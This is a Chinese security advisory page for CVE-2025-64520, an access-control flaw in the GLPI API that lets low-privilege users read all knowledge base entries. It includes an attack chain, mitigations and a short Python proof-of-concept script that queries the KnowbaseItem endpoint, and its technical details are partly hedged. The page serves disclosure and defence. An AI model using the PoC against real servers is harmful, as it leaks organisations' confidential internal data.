IPBUF安全漏洞报告
English
CVE-2025-64520 CVSS 6.5 中危

CVE-2025-64520 GLPI知识库API未授权访问漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-64520
漏洞类型
未授权访问/信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GLPI (IT资产管理软件)

相关标签

CVE-2025-64520GLPI信息泄露API未授权访问知识库访问控制缺陷IT资产管理软件Broken Access Control

漏洞概述

CVE-2025-64520是GLPI软件中的一个信息泄露漏洞。GLPI是一款免费的开源IT资产和运维管理软件,广泛应用于企业的配置管理、资产跟踪和技术支持管理。该漏洞影响从9.1.0版本开始到10.0.21之前的所有版本。漏洞的根本原因在于GLPI的API接口存在访问控制缺陷,允许拥有API访问权限的低权限用户(在CVSS评分中认证要求为低权限PR:L)无需额外授权即可读取所有知识库条目。攻击者通过构造特定的API请求,可以绕过正常的权限检查机制,获取包含敏感信息的知识库内容,这些内容可能包括内部文档、技术支持知识、系统配置信息等。由于该漏洞的机密性影响为高(C:H),攻击成功后将导致敏感信息泄露,可能对企业信息安全造成严重影响。漏洞的CVSS评分为6.5,属于中等严重程度,但考虑到知识库中可能存储的敏感信息,企业应高度重视此漏洞的修复工作。

技术细节

该漏洞属于API未授权访问漏洞(Broken Access Control),是OWASP Top 10 2021中的首位安全风险。在GLPI的API接口实现中,知识库(Knowledge Base)访问模块缺少适当的权限验证逻辑。具体来说,当用户通过API发送获取知识库条目的请求时,系统仅验证用户是否具有基本的API访问权限(PR:L),而未对用户请求的具体知识库条目进行细粒度的访问控制检查。攻击者可以通过以下方式利用此漏洞:1) 获取有效的API访问凭证;2) 遍历知识库条目的ID或使用通配符查询;3) 通过API端点(如/api/KnowbaseItem或类似接口)直接获取所有条目内容。由于CVSS向量显示攻击复杂度为低(AC:L),且无需用户交互(UI:N),攻击者可以在不需要特殊技术能力的情况下成功利用此漏洞。漏洞的技术根因在于API控制器中缺少is_recursive或entity范围的验证逻辑,导致用户可以跨实体/范围访问不属于其权限范围内的知识库内容。

攻击链分析

STEP 1
步骤1
攻击者获取或注册一个有效的GLPI API访问令牌,需要基本的API访问权限(低权限认证)
STEP 2
步骤2
攻击者构造针对知识库API端点的请求(如/apirest.php/KnowbaseItem),利用缺少细粒度访问控制的缺陷
STEP 3
步骤3
系统返回所有知识库条目内容,攻击者获取包含敏感信息的文档、技术支持知识和配置信息
STEP 4
步骤4
攻击者利用泄露的敏感信息进行进一步攻击,如社工、内部网络渗透或数据倒卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64520 PoC - GLPI Knowledge Base Unauthorized Access # Target: GLPI < 10.0.21 # Author: Security Researcher TARGET_URL = "http://target-glpi-server" # Replace with target URL API_TOKEN = "your_api_token_here" # Replace with valid API token def exploit_knowledge_base_access(): """ This PoC demonstrates the unauthorized knowledge base access vulnerability in GLPI versions prior to 10.0.21 """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {API_TOKEN}", "App-Token": "app_token_here" } # Attempt to retrieve all knowledge base entries # The vulnerability allows low-privilege API users to access all entries endpoint = f"{TARGET_URL}/apirest.php/KnowbaseItem" try: # Get all knowledge base items without proper authorization check response = requests.get(endpoint, headers=headers, verify=False) if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed {len(data)} knowledge base entries") print(f"[+] First entry: {json.dumps(data[0], indent=2)}" if data else "No data") return data else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2025-64520 - GLPI Knowledge Base Unauthorized Access") exploit_knowledge_base_access()

影响范围

GLPI >= 9.1.0
GLPI < 10.0.21

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:1) 限制API访问权限,仅授予必要用户API权限;2) 在API网关或WAF层实施访问控制策略,过滤异常的大范围知识库查询请求;3) 暂时禁用非必要的API端点访问;4) 加强知识库内容的敏感度分类,对高敏感内容实施额外的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表